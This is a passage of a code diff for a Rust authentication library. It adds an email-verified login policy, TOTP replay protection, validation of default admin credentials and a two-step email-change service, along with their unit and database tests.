| 83 | + Relation::User.def() | |
| 84 | + } | |
| 85 | +} | |
| 86 | + | |
| 87 | +impl ActiveModelBehavior for ActiveModel {} | |
| 88 | + | |
| 89 | +impl Model { | |
| 90 | + /// Returns `true` once the expiration timestamp has passed. | |
| 91 | + pub fn is_expired(&self) -> bool { | |
| 92 | + Utc::now() > self.expires_at | |
| 93 | + } | |
| 94 | + | |
| 95 | + /// Returns `true` once the change has been applied. | |
| 96 | + pub fn is_used(&self) -> bool { | |
| 97 | + self.used_at.is_some() | |
| 98 | + } | |
| 99 | + | |
| 100 | + /// Returns `true` while the request can still be confirmed. | |
| 101 | + pub fn is_pending(&self) -> bool { | |
| 102 | + !self.is_used() && !self.is_expired() | |
| 103 | + } | |
| 104 | + | |
| 105 | + /// Returns `true` once the current address owner flagged the request. | |
| 106 | + /// | |
| 107 | + /// Purely informational: a reported request stays confirmable (see | |
| 108 | + /// [`EmailChangeService::report_suspicious`](crate::services::email_change_service::EmailChangeService::report_suspicious)). | |
| 109 | + pub fn is_reported(&self) -> bool { | |
| 110 | + self.reported_at.is_some() | |
| 111 | + } | |
| 112 | +} | |
| 113 | + | |
| 114 | +#[cfg(test)] | |
| 115 | +mod tests { | |
| 116 | + use super::*; | |
| 117 | + use chrono::Duration; | |
| 118 | + | |
| 119 | + /// Build a model whose `expires_at` / `used_at` are set by the caller. | |
| 120 | + fn model(expires_in_hours: i64, used: bool) -> Model { | |
| 121 | + let now = Utc::now(); | |
| 122 | + Model { | |
| 123 | + id: Uuid::new_v4(), | |
| 124 | + user_id: Uuid::new_v4(), | |
| 125 | + new_email: "candidate@example.test".to_string(), | |
| 126 | + token_hash: "a".repeat(64), | |
| 127 | + report_token_hash: "b".repeat(64), | |
| 128 | + expires_at: now + Duration::hours(expires_in_hours), | |
| 129 | + used_at: if used { Some(now) } else { None }, | |
| 130 | + reported_at: None, | |
| 131 | + created_at: now, | |
| 132 | + } | |
| 133 | + } | |
| 134 | + | |
| 135 | + #[test] | |
| 136 | + fn truth_table_pending_used_expired() { | |
| 137 | + // fresh + unused → pending | |
| 138 | + let fresh = model(24, false); | |
| 139 | + assert!(!fresh.is_expired()); | |
| 140 | + assert!(!fresh.is_used()); | |
| 141 | + assert!(fresh.is_pending()); | |
| 142 | + | |
| 143 | + // fresh + used → not pending | |
| 144 | + let used = model(24, true); | |
| 145 | + assert!(!used.is_expired()); | |
| 146 | + assert!(used.is_used()); | |
| 147 | + assert!(!used.is_pending()); | |
| 148 | + | |
| 149 | + // expired + unused → not pending | |
| 150 | + let expired = model(-1, false); | |
| 151 | + assert!(expired.is_expired()); | |
| 152 | + assert!(!expired.is_used()); | |
| 153 | + assert!(!expired.is_pending()); | |
| 154 | + | |
| 155 | + // expired + used → not pending | |
| 156 | + let both = model(-1, true); | |
| 157 | + assert!(both.is_expired()); | |
| 158 | + assert!(both.is_used()); | |
| 159 | + assert!(!both.is_pending()); | |
| 160 | + } | |
| 161 | + | |
| 162 | + #[test] | |
| 163 | + fn reported_flag_does_not_affect_pending() { | |
| 164 | + let mut reported = model(24, false); | |
| 165 | + assert!(!reported.is_reported()); | |
| 166 | + reported.reported_at = Some(Utc::now()); | |
| 167 | + assert!(reported.is_reported()); | |
| 168 | + // RFC 0041: a report alerts, it never blocks. | |
| 169 | + assert!(reported.is_pending()); | |
| 170 | + } | |
| 171 | +} |
M
crates/rustwarden-core/src/models/user_totp.rs
+7
-0
@@ -27,6 +27,12 @@ pub struct Model {
| 27 | 27 | pub backup_codes_remaining: i32, |
| 28 | 28 | /// Timestamp when 2FA was enabled |
| 29 | 29 | pub enabled_at: Option<DateTime<Utc>>, |
| 30 | + /// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed. | |
| 31 | + /// | |
| 32 | + /// `None` until the first accepted code after this column exists. | |
| 33 | + /// Updated through a conditional compare-and-set `UPDATE` so the same | |
| 34 | + /// step is rejected on every replica (anti-replay, RFC 0037). | |
| 35 | + pub last_used_step: Option<i64>, | |
| 30 | 36 | /// Creation timestamp |
| 31 | 37 | pub created_at: DateTime<Utc>, |
| 32 | 38 | /// Last update timestamp |
@@ -71,6 +77,7 @@ mod tests {
| 71 | 77 | backup_codes_encrypted: None, |
| 72 | 78 | backup_codes_remaining: 0, |
| 73 | 79 | enabled_at: None, |
| 80 | + last_used_step: None, | |
| 74 | 81 | created_at: now, |
| 75 | 82 | updated_at: now, |
| 76 | 83 | }; |
M
crates/rustwarden-core/src/services/auth_service.rs
+231
-10
@@ -95,17 +95,47 @@ impl AuthService {
| 95 | 95 | Ok(user) |
| 96 | 96 | } |
| 97 | 97 | |
| 98 | - /// Authenticate user and return the model with must_change_password flag | |
| 98 | + /// Authenticate a user for login (credentials + email-verified policy). | |
| 99 | 99 | /// |
| 100 | 100 | /// The `identifier` parameter accepts either a username or an email address. |
| 101 | 101 | /// |
| 102 | - /// This is a higher-level authentication method that: | |
| 103 | - /// 1. Verifies credentials | |
| 104 | - /// 2. Logs if user must change password (but does NOT block login) | |
| 102 | + /// This is the single authentication gate used by the HTTP `login` | |
| 103 | + /// handler and by any consumer application (SSR, custom handlers) that | |
| 104 | + /// calls the service directly. It performs, in order: | |
| 105 | 105 | /// |
| 106 | - /// The caller (login handler) is responsible for including | |
| 107 | - /// `must_change_password` in the response so the frontend can | |
| 108 | - /// redirect the user to a password-change page. | |
| 106 | + /// 1. [`Self::verify_credentials`] — timing-safe password check. | |
| 107 | + /// 2. Logs when `must_change_password` is set (does NOT block login). | |
| 108 | + /// The caller is responsible for surfacing the flag so the frontend | |
| 109 | + /// can redirect the user to a password-change page. | |
| 110 | + /// 3. Email-verified policy (RFC 0040): when the app setting | |
| 111 | + /// `validation_email_required` (legacy alias | |
| 112 | + /// `validation_email_requise`, default `true`) is enabled and the | |
| 113 | + /// user's email is not verified, the attempt is recorded via | |
| 114 | + /// [`log_blocked_login`](crate::services::auth_logging::AuthLoggingService::log_blocked_login) | |
| 115 | + /// and rejected with [`AppError::Validation`]. A settings lookup | |
| 116 | + /// failure is treated as "verification required" (fail-closed). | |
| 117 | + /// | |
| 118 | + /// Use [`Self::verify_credentials`] directly for password-only | |
| 119 | + /// re-authentication flows (e.g. TOTP setup) that must not apply the | |
| 120 | + /// email-verified policy. | |
| 121 | + /// | |
| 122 | + /// # Errors | |
| 123 | + /// | |
| 124 | + /// - [`AppError::InvalidCredentials`] — unknown identifier or wrong | |
| 125 | + /// password (checked before the email policy, so there is no | |
| 126 | + /// "account exists but unverified" oracle). | |
| 127 | + /// - [`AppError::Validation`] — email not verified while the policy | |
| 128 | + /// is active. | |
| 129 | + /// | |
| 130 | + /// # Example | |
| 131 | + /// | |
| 132 | + /// ```ignore | |
| 133 | + /// use rustwarden_core::services::auth_service::AuthService; | |
| 134 | + /// | |
| 135 | + /// // Requires a live database connection. | |
| 136 | + /// let user = AuthService::authenticate_user(&db, "alice", "s3cret-pass!").await?; | |
| 137 | + /// assert!(user.email_verified); | |
| 138 | + /// ``` | |
| 109 | 139 | pub async fn authenticate_user( |
| 110 | 140 | db: &DatabaseConnection, |
| 111 | 141 | identifier: &str, |
@@ -117,16 +147,207 @@ impl AuthService {
| 117 | 147 | tracing::info!("User {} should change password (flag set)", user.username); |
| 118 | 148 | } |
| 119 | 149 | |
| 150 | + // RFC 0040: enforce the email-verified policy at the service level so | |
| 151 | + // direct service callers cannot bypass it. Fail-closed: if the | |
| 152 | + // settings lookup errors, verification is required. | |
| 153 | + let email_validation_required = | |
| 154 | + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 155 | + db, | |
| 156 | + &EMAIL_VALIDATION_SETTING_KEYS, | |
| 157 | + true, | |
| 158 | + ) | |
| 159 | + .await | |
| 160 | + .unwrap_or(true); | |
| 161 | + | |
| 162 | + if email_validation_required && !user.email_verified { | |
| 163 | + tracing::warn!( | |
| 164 | + "Login attempt blocked (unverified email): {} ({})", | |
| 165 | + user.username, | |
| 166 | + user.email | |
| 167 | + ); | |
| 168 | + // Best-effort audit trail, never stores secrets. RFC 0040 v1: | |
| 169 | + // no `hooks` parameter — the audit_logs row is still written. | |
| 170 | + // Failures are already traced inside `log_blocked_login`. | |
| 171 | + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login( | |
| 172 | + db, | |
| 173 | + &user.email, | |
| 174 | + "email_not_verified", | |
| 175 | + None, | |
| 176 | + ) | |
| 177 | + .await; | |
| 178 | + return Err(AppError::Validation( | |
| 179 | + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 180 | + )); | |
| 181 | + } | |
| 182 | + | |
| 120 | 183 | Ok(user) |
| 121 | 184 | } |
| 122 | 185 | } |
| 123 | 186 | |
| 187 | +/// App-settings keys (current name + legacy French alias) controlling whether | |
| 188 | +/// login requires a verified email (RFC 0040). Shared with the test helpers. | |
| 189 | +const EMAIL_VALIDATION_SETTING_KEYS: [&str; 2] = | |
| 190 | + ["validation_email_required", "validation_email_requise"]; | |
| 191 | + | |
| 124 | 192 | #[cfg(test)] |
| 125 | 193 | mod tests { |
| 194 | + //! RFC 0040 tests: `authenticate_user` enforces the email-verified policy. | |
| 195 | + //! | |
| 196 | + //! Note on the "setting off" case (`validation_email_required=false` → | |
| 197 | + //! unverified user logs in): it is intentionally NOT covered here. The | |
| 198 | + //! setting is global shared state in the dev database; tests run in | |
| 199 | + //! parallel, so flipping it would race with the default-policy test below | |
| 200 | + //! (and with any other login test), and a panic between "set false" and | |
| 201 | + //! "restore" would silently leave the security policy disabled in the dev | |
| 202 | + //! DB. The fail-closed default (`unwrap_or(true)`, absent → required) is | |
| 203 | + //! covered by `authenticate_user_blocks_unverified_email_when_policy_active`. | |
| 204 | + //! | |
| 205 | + //! Also intentionally not covered: the RFC's `DbErr` lookup-failure case | |
| 206 | + //! (`unwrap_or(true)` makes it equivalent to the absent-setting case above) | |
| 207 | + //! and the admin-bootstrap login (the seed sets `email_verified=true`, | |
| 208 | + //! asserted in `default_admin_service`). | |
| 209 | + | |
| 126 | 210 | use super::*; |
| 211 | + use crate::models::audit_log; | |
| 212 | + use crate::services::app_settings_service::AppSettingsService; | |
| 213 | + use crate::services::user_service::UserService; | |
| 214 | + use sea_orm::{ActiveModelTrait, ModelTrait, Set}; | |
| 215 | + use uuid::Uuid; | |
| 216 | + | |
| 217 | + async fn test_db() -> DatabaseConnection { | |
| 218 | + dotenvy::dotenv().ok(); | |
| 219 | + let url = | |
| 220 | + std::env::var("DATABASE_URL").expect("DATABASE_URL required for auth_service tests"); | |
| 221 | + sea_orm::Database::connect(&url).await.unwrap() | |
| 222 | + } | |
| 223 | + | |
| 224 | + const TEST_PASSWORD: &str = "TestPassword1!"; | |
| 225 | + | |
| 226 | + /// Exact user-facing message returned by `authenticate_user` when the | |
| 227 | + /// email-verified policy blocks the login. The UI displays this string | |
| 228 | + /// verbatim (`err.error` / `err.message`) — keep in sync with the | |
| 229 | + /// implementation. | |
| 230 | + const UNVERIFIED_MSG: &str = "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien."; | |
| 231 | + | |
| 232 | + /// Create a unique test user. `create_user` leaves `email_verified=false`. | |
| 233 | + async fn create_test_user(db: &DatabaseConnection) -> user::Model { | |
| 234 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 235 | + let hash = PasswordService::hash_password(TEST_PASSWORD).await.unwrap(); | |
| 236 | + UserService::create_user( | |
| 237 | + db, | |
| 238 | + format!("authsvc-{}", &unique[..8]), | |
| 239 | + format!("authsvc-{}@example.com", &unique[..8]), | |
| 240 | + hash, | |
| 241 | + false, | |
| 242 | + ) | |
| 243 | + .await | |
| 244 | + .unwrap() | |
| 245 | + } | |
| 246 | + | |
| 247 | + /// True when the email-verified policy is currently effective in the | |
| 248 | + /// shared dev DB (setting absent → default true, i.e. fail-closed). | |
| 249 | + async fn email_policy_active(db: &DatabaseConnection) -> bool { | |
| 250 | + AppSettingsService::get_bool_with_fallback(db, &EMAIL_VALIDATION_SETTING_KEYS, true) | |
| 251 | + .await | |
| 252 | + .unwrap_or(true) | |
| 253 | + } | |
| 254 | + | |
| 255 | + // ── happy path: verified user, valid password ─────────────────────────── | |
| 256 | + | |
| 257 | + #[tokio::test] | |
| 258 | + async fn authenticate_user_ok_when_email_verified() { | |
| 259 | + let db = test_db().await; | |
| 260 | + let created = create_test_user(&db).await; | |
| 261 | + let mut active: user::ActiveModel = created.into(); | |
| 262 | + active.email_verified = Set(true); | |
| 263 | + let user = active.update(&db).await.unwrap(); | |
| 264 | + | |
| 265 | + let result = AuthService::authenticate_user(&db, &user.username, TEST_PASSWORD).await; | |
| 266 | + assert!( | |
| 267 | + result.is_ok(), | |
| 268 | + "verified user with valid password must authenticate: {:?}", | |
| 269 | + result.err() | |
| 270 | + ); | |
| 271 | + assert_eq!(result.unwrap().id, user.id); | |
| 272 | + | |
| 273 | + user.delete(&db).await.unwrap(); | |
| 274 | + } | |
| 275 | + | |
| 276 | + // ── wrong password: fails before the email policy (no oracle) ────────── | |
| 277 | + | |
| 278 | + #[tokio::test] | |
| 279 | + async fn authenticate_user_wrong_password_no_email_oracle() { | |
| 280 | + let db = test_db().await; | |
| 281 | + // Unverified account: a wrong password must yield the generic | |
| 282 | + // InvalidCredentials, never the Validation "email not verified" | |
| 283 | + // message (which would confirm the account exists). | |
| 284 | + let user = create_test_user(&db).await; | |
| 285 | + | |
| 286 | + match AuthService::authenticate_user(&db, &user.username, "WrongPassword1!").await { | |
| 287 | + Err(AppError::InvalidCredentials) => {} | |
| 288 | + other => panic!("expected InvalidCredentials, got {:?}", other), | |
| 289 | + } | |
| 290 | + | |
| 291 | + user.delete(&db).await.unwrap(); | |
| 292 | + } | |
| 293 | + | |
| 294 | + // ── policy: unverified email blocked + audit_logs row ─────────────────── | |
| 295 | + | |
| 296 | + #[tokio::test] | |
| 297 | + async fn authenticate_user_blocks_unverified_email_when_policy_active() { | |
| 298 | + let db = test_db().await; | |
| 299 | + // The policy setting is global shared state: skip (never mutate it) | |
| 300 | + // if an operator disabled it in this dev DB. | |
| 301 | + if !email_policy_active(&db).await { | |
| 302 | + eprintln!("skipping: validation_email_required disabled in this dev DB"); | |
| 303 | + return; | |
| 304 | + } | |
| 305 | + | |
| 306 | + let user = create_test_user(&db).await; | |
| 307 | + assert!(!user.email_verified, "create_user must start unverified"); | |
| 308 | + | |
| 309 | + match AuthService::authenticate_user(&db, &user.username, TEST_PASSWORD).await { | |
| 310 | + Err(AppError::Validation(msg)) => assert_eq!(msg, UNVERIFIED_MSG), | |
| 311 | + other => panic!("expected AppError::Validation, got {:?}", other), | |
| 312 | + } | |
| 313 | + | |
| 314 | + // A `login_blocked` / `email_not_verified` audit row must be written. | |
| 315 | + let logs = audit_log::Entity::find() | |
| 316 | + .filter(audit_log::Column::Action.eq("login_blocked")) | |
| 317 | + .filter(audit_log::Column::Message.contains(&user.email)) | |
| 318 | + .all(&db) | |
| 319 | + .await | |
| 320 | + .unwrap(); | |
| 321 | + assert!( | |
| 322 | + logs.iter() | |
| 323 | + .any(|l| l.message.contains("email_not_verified")), | |
| 324 | + "expected an audit_logs row login_blocked/email_not_verified for {}", | |
| 325 | + user.email | |
| 326 | + ); | |
| 327 | + | |
| 328 | + // Clean up only the rows this test created (unique email). | |
| 329 | + for log in logs { | |
| 330 | + log.delete(&db).await.unwrap(); | |
| 331 | + } | |
| 332 | + user.delete(&db).await.unwrap(); | |
| 333 | + } | |
| 334 | + | |
| 335 | + // ── non-regression: verify_credentials has no email policy (TOTP path) ── | |
| 336 | + | |
| 337 | + #[tokio::test] | |
| 338 | + async fn verify_credentials_ok_for_unverified_email() { | |
| 339 | + let db = test_db().await; | |
| 340 | + let user = create_test_user(&db).await; // email_verified = false | |
| 341 | + | |
| 342 | + // Password-only re-auth (TOTP setup) must keep working for | |
| 343 | + // unverified accounts. | |
| 344 | + let result = AuthService::verify_credentials(&db, &user.username, TEST_PASSWORD).await; | |
| 345 | + assert!( | |
| 346 | + result.is_ok(), | |
| 347 | + "verify_credentials must not apply the email-verified policy: {:?}", | |
| 348 | + result.err() | |
| 349 | + ); | |
| 127 | 350 | |
| 128 | - #[test] | |
| 129 | - fn test_auth_service_exists() { | |
| 130 | - let _service = AuthService; | |
| 351 | + user.delete(&db).await.unwrap(); | |
| 131 | 352 | } |
| 132 | 353 | } |
M
crates/rustwarden-core/src/services/default_admin_service.rs
+70
-1
@@ -64,8 +64,13 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
| 64 | 64 | return Ok(()); |
| 65 | 65 | } |
| 66 | 66 | |
| 67 | + validate_new_admin_credentials(&config, password)?; | |
| 68 | + | |
| 67 | 69 | let password_hash = PasswordService::hash_password(password).await?; |
| 68 | - let user = UserService::create_user( | |
| 70 | + // Use the bootstrap path: ADMIN_USERNAME defaults to "admin" which is a | |
| 71 | + // reserved name. create_user_allow_reserved accepts it while still | |
| 72 | + // enforcing charset and length rules. | |
| 73 | + let user = UserService::create_user_allow_reserved( | |
| 69 | 74 | db, |
| 70 | 75 | config.username.clone(), |
| 71 | 76 | config.email.clone(), |
@@ -92,3 +97,67 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
| 92 | 97 | |
| 93 | 98 | Ok(()) |
| 94 | 99 | } |
| 100 | + | |
| 101 | +/// Validates `ADMIN_*` credentials immediately before creating the default admin. | |
| 102 | +/// | |
| 103 | +/// Must be used only on the create path. Skip paths (`CREATE_DEFAULT_ADMIN=false`, | |
| 104 | +/// an admin already exists, or the username exists without the admin role) must not | |
| 105 | +/// call this, so a leftover weak `ADMIN_PASSWORD` in production `.env` does not | |
| 106 | +/// prevent boot. | |
| 107 | +pub(crate) fn validate_new_admin_credentials( | |
| 108 | + config: &AdminConfig, | |
| 109 | + password: &str, | |
| 110 | +) -> Result<(), AppError> { | |
| 111 | + config | |
| 112 | + .validate() | |
| 113 | + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?; | |
| 114 | + crate::middleware::password_complexity::PasswordRules::default() | |
| 115 | + .validate(password) | |
| 116 | + .map_err(|errs| AppError::Validation(errs.join("; ")))?; | |
| 117 | + Ok(()) | |
| 118 | +} | |
| 119 | + | |
| 120 | +#[cfg(test)] | |
| 121 | +mod tests { | |
| 122 | + use super::*; | |
| 123 | + | |
| 124 | + fn config_with_password(password: &str) -> AdminConfig { | |
| 125 | + AdminConfig { | |
| 126 | + username: "admin".into(), | |
| 127 | + email: "admin@localhost".into(), | |
| 128 | + password: Some(password.into()), | |
| 129 | + } | |
| 130 | + } | |
| 131 | + | |
| 132 | + #[test] | |
| 133 | + fn validate_new_admin_credentials_rejects_weak_password() { | |
| 134 | + let password = "password"; | |
| 135 | + let config = config_with_password(password); | |
| 136 | + let err = validate_new_admin_credentials(&config, password) | |
| 137 | + .expect_err("literal password must fail create-path validation"); | |
| 138 | + match err { | |
| 139 | + AppError::Internal(_) | AppError::Validation(_) => {} | |
| 140 | + other => panic!("expected Internal or Validation, got {other:?}"), | |
| 141 | + } | |
| 142 | + } | |
| 143 | + | |
| 144 | + #[test] | |
| 145 | + fn validate_new_admin_credentials_rejects_placeholder() { | |
| 146 | + let password = "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT"; | |
| 147 | + let config = config_with_password(password); | |
| 148 | + let err = validate_new_admin_credentials(&config, password) | |
| 149 | + .expect_err("CLI placeholder must fail create-path validation"); | |
| 150 | + match err { | |
| 151 | + AppError::Internal(_) => {} | |
| 152 | + other => panic!("expected Internal from AdminConfig::validate, got {other:?}"), | |
| 153 | + } | |
| 154 | + } | |
| 155 | + | |
| 156 | + #[test] | |
| 157 | + fn validate_new_admin_credentials_accepts_strong_mixed() { | |
| 158 | + let password = "CorrectHorse1"; | |
| 159 | + let config = config_with_password(password); | |
| 160 | + validate_new_admin_credentials(&config, password) | |
| 161 | + .expect("mixed case plus digit must pass create-path validation"); | |
| 162 | + } | |
| 163 | +} |
A
crates/rustwarden-core/src/services/email_change_service.rs
+2988
-0
@@ -0,0 +1,2988 @@
| 1 | +//! Two-step email change service (RFC 0041). | |
| 2 | +//! | |
| 3 | +//! Nothing is ever written to `users.email` before possession of the candidate | |
| 4 | +//! address is proven. A request lands in `pending_email_changes` (hashed | |
| 5 | +//! tokens + expiration), the account keeps its current — verified — address, | |
| 6 | +//! and the previous mailbox is informed with a report link. | |
| 7 | +//! | |
| 8 | +//! The only path that writes an address without that proof is | |
| 9 | +//! [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change), | |
| 10 | +//! restricted to the `admin` role | |
| 11 | +//! and traced in `audit_logs`. | |
| 12 | + | |
| 13 | +use crate::config::email::EmailConfig; | |
| 14 | +use crate::error::AppError; | |
| 15 | +use crate::hooks::{AuditEvent, RustwardenHooks}; | |
| 16 | +use crate::i18n::service::I18nService; | |
| 17 | +use crate::models::{audit_log, pending_email_change, user}; | |
| 18 | +use crate::services::auth_service::AuthService; | |
| 19 | +use crate::services::email_queue_service::EmailQueueService; | |
| 20 | +use crate::services::email_sanitization::{mask_email, sanitize_email_content}; | |
| 21 | +use crate::services::password_change_service::PasswordChangeService; | |
| 22 | +use crate::services::rate_limit_service::RateLimitService; | |
| 23 | +use crate::services::refresh_token_service::RefreshTokenService; | |
| 24 | +use crate::services::user_preferences_service::UserPreferencesService; | |
| 25 | +use crate::services::user_service::UserService; | |
| 26 | +use crate::templates::email_templates::{ | |
| 27 | + EmailChangeByAdminTemplate, EmailChangeNoticeTemplate, EmailChangeReportedAdminTemplate, | |
| 28 | + EmailChangeValidationTemplate, | |
| 29 | +}; | |
| 30 | +use chrono::{Datelike, Duration, Utc}; | |
| 31 | +use sea_orm::{ | |
| 32 | + ActiveModelTrait, ColumnTrait, Condition, DatabaseConnection, EntityTrait, NotSet, QueryFilter, | |
| 33 | + Set, | |
| 34 | +}; | |
| 35 | +use sha2::{Digest, Sha256}; | |
| 36 | +use std::collections::HashMap; | |
| 37 | +use std::sync::Arc; | |
| 38 | +use std::sync::OnceLock; | |
| 39 | +use std::time::Duration as StdDuration; | |
| 40 | +use uuid::Uuid; | |
| 41 | + | |
| 42 | +/// Default: 3 email-change requests per user per hour. | |
| 43 | +const EMAIL_CHANGE_RATE_LIMIT_MAX: u32 = 3; | |
| 44 | +/// Sliding window backing [`EMAIL_CHANGE_RATE_LIMIT_MAX`]. | |
| 45 | +const EMAIL_CHANGE_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 46 | + | |
| 47 | +/// Retention of `pending_email_changes` rows, in days after expiration. | |
| 48 | +/// | |
| 49 | +/// Compile-time constant on purpose: RFC 0041 adds **no** environment | |
| 50 | +/// variable. Past this delay a row carries no operational value — the durable | |
| 51 | +/// trail lives in `audit_logs` with masked addresses — while `new_email` is | |
| 52 | +/// personal data kept in clear text. | |
| 53 | +pub const PENDING_EMAIL_CHANGE_RETENTION_DAYS: i64 = 30; | |
| 54 | + | |
| 55 | +/// Error surfaced when the candidate address was claimed by another account | |
| 56 | +/// between the request and its confirmation. | |
| 57 | +const EMAIL_NO_LONGER_AVAILABLE: &str = | |
| 58 | + "This email address is no longer available. Request the change again with a different address."; | |
| 59 | + | |
| 60 | +/// Process-wide sliding-window limiter for email-change requests. | |
| 61 | +/// | |
| 62 | +/// Distinct from the password-reset and email-validation limiters so the three | |
| 63 | +/// flows keep separate budgets. | |
| 64 | +static EMAIL_CHANGE_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 65 | + | |
| 66 | +/// Return the process-wide email-change limiter, initializing it once. | |
| 67 | +fn shared_email_change_limiter() -> RateLimitService { | |
| 68 | + EMAIL_CHANGE_LIMITER | |
| 69 | + .get_or_init(|| { | |
| 70 | + let limiter = RateLimitService::new(); | |
| 71 | + if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 72 | + handle.spawn( | |
| 73 | + limiter | |
| 74 | + .clone() | |
| 75 | + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)), | |
| 76 | + ); | |
| 77 | + } else { | |
| 78 | + tracing::warn!("email-change limiter: no tokio runtime, cleanup_loop not started"); | |
| 79 | + } | |
| 80 | + limiter | |
| 81 | + }) | |
| 82 | + .clone() | |
| 83 | +} | |
| 84 | + | |
| 85 | +/// Read-only state of a link token, as reported to an interstitial page. | |
| 86 | +/// | |
| 87 | +/// Returned by [`EmailChangeService::inspect_confirmation_token`] and | |
| 88 | +/// [`EmailChangeService::inspect_report_token`] so a `GET` can display a | |
| 89 | +/// useful message **without any side effect**: a consumer replacing the | |
| 90 | +/// built-in pages with its own reuses the same read-only check. | |
| 91 | +#[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 92 | +pub enum EmailChangeLinkState { | |
| 93 | + /// The token matches a pending request: the form may be displayed. | |
| 94 | + Usable, | |
| 95 | + /// No request carries this token. | |
| 96 | + Unknown, | |
| 97 | + /// The request exists but its expiration has passed. | |
| 98 | + Expired, | |
| 99 | + /// The request exists but has already been applied. | |
| 100 | + Used, | |
| 101 | +} | |
| 102 | + | |
| 103 | +/// Two-step email change service. | |
| 104 | +/// | |
| 105 | +/// Nothing is written to `users.email` until the confirmation link mailed to | |
| 106 | +/// the candidate address is followed. A typo therefore expires harmlessly and | |
| 107 | +/// the account never loses access. | |
| 108 | +/// | |
| 109 | +/// ```rust,ignore | |
| 110 | +/// use rustwarden_core::config::email::EmailConfig; | |
| 111 | +/// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 112 | +/// | |
| 113 | +/// let email_config = EmailConfig::from_env().map_err(AppError::Config)?; | |
| 114 | +/// EmailChangeService::new(email_config) | |
| 115 | +/// .request_change(&db, user_id, "new@example.com", current_password) | |
| 116 | +/// .await?; | |
| 117 | +/// // `users.email` is unchanged; two emails are queued. | |
| 118 | +/// ``` | |
| 119 | +pub struct EmailChangeService { | |
| 120 | + /// SMTP / queue configuration used to build the outgoing messages. | |
| 121 | + email_config: EmailConfig, | |
| 122 | + /// Sliding-window rate limiter (shared abstraction, see [`RateLimitService`]). | |
| 123 | + rate_limiter: RateLimitService, | |
| 124 | + /// Optional translation backend. When `None`, emails fall back to the | |
| 125 | + /// strings embedded in this module, so the service stays usable headless | |
| 126 | + /// without any i18n plumbing. | |
| 127 | + i18n: Option<Arc<I18nService>>, | |
| 128 | +} | |
| 129 | + | |
| 130 | +impl EmailChangeService { | |
| 131 | + /// Create a service using the process-wide rate limiter. | |
| 132 | + /// | |
| 133 | + /// ```rust,ignore | |
| 134 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 135 | + /// | |
| 136 | + /// let service = EmailChangeService::new(EmailConfig::from_env().map_err(AppError::Config)?); | |
| 137 | + /// ``` | |
| 138 | + pub fn new(email_config: EmailConfig) -> Self { | |
| 139 | + Self { | |
| 140 | + email_config, | |
| 141 | + rate_limiter: shared_email_change_limiter(), | |
| 142 | + i18n: None, | |
| 143 | + } | |
| 144 | + } | |
| 145 | + | |
| 146 | + /// Attach the translation service so emails honour the recipient locale. | |
| 147 | + /// | |
| 148 | + /// The recipient locale is read from `user_preferences.language` and falls | |
| 149 | + /// back to [`config::tasks::default_locale`](crate::config::tasks::default_locale). | |
| 150 | + /// Missing keys fall back to the strings embedded in this module. | |
| 151 | + /// | |
| 152 | + /// ```rust,ignore | |
| 153 | + /// use std::sync::Arc; | |
| 154 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 155 | + /// | |
| 156 | + /// let service = EmailChangeService::new(email_config).with_i18n(Arc::clone(&i18n_service)); | |
| 157 | + /// ``` | |
| 158 | + pub fn with_i18n(mut self, i18n: Arc<I18nService>) -> Self { | |
| 159 | + self.i18n = Some(i18n); | |
| 160 | + self | |
| 161 | + } | |
| 162 | + | |
| 163 | + /// Build a service around an injected limiter (unit tests; avoids the | |
| 164 | + /// process [`OnceLock`]). | |
| 165 | + #[cfg(test)] | |
| 166 | + pub(crate) fn new_with_limiter( | |
| 167 | + email_config: EmailConfig, | |
| 168 | + rate_limiter: RateLimitService, | |
| 169 | + ) -> Self { | |
| 170 | + Self { | |
| 171 | + email_config, | |
| 172 | + rate_limiter, | |
| 173 | + i18n: None, | |
| 174 | + } | |
| 175 | + } | |
| 176 | + | |
| 177 | + /// Open an email-change request for an authenticated user. | |
| 178 | + /// | |
| 179 | + /// Re-authentication is mandatory: a stolen session alone cannot move the | |
| 180 | + /// account's identity. `current_password` is checked through | |
| 181 | + /// [`AuthService::verify_credentials`](crate::services::auth_service::AuthService::verify_credentials), | |
| 182 | + /// which runs bcrypt in constant time. | |
| 183 | + /// | |
| 184 | + /// On success two emails are queued: | |
| 185 | + /// - a confirmation link to `new_email`; | |
| 186 | + /// - a notice plus a report link to the account's **current** address. | |
| 187 | + /// | |
| 188 | + /// `users.email`, `email_verified` and `email_verified_at` are left | |
| 189 | + /// untouched. Unlike the v1 flow, queueing is **not** best-effort: without | |
| 190 | + /// the emails the request is unusable, so the error is propagated. This is | |
| 191 | + /// safe precisely because nothing was written to `users`. | |
| 192 | + /// | |
| 193 | + /// ```rust,ignore | |
| 194 | + /// use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 195 | + /// | |
| 196 | + /// EmailChangeService::new(email_config) | |
| 197 | + /// .request_change(&db, user_id, "new@example.com", "current-password") | |
| 198 | + /// .await?; | |
| 199 | + /// ``` | |
| 200 | + /// | |
| 201 | + /// # Errors | |
| 202 | + /// | |
| 203 | + /// - [`AppError::TooManyRequests`] — more than 3 requests for this user | |
| 204 | + /// within the hour. | |
| 205 | + /// - [`AppError::InvalidCredentials`] — wrong `current_password`. | |
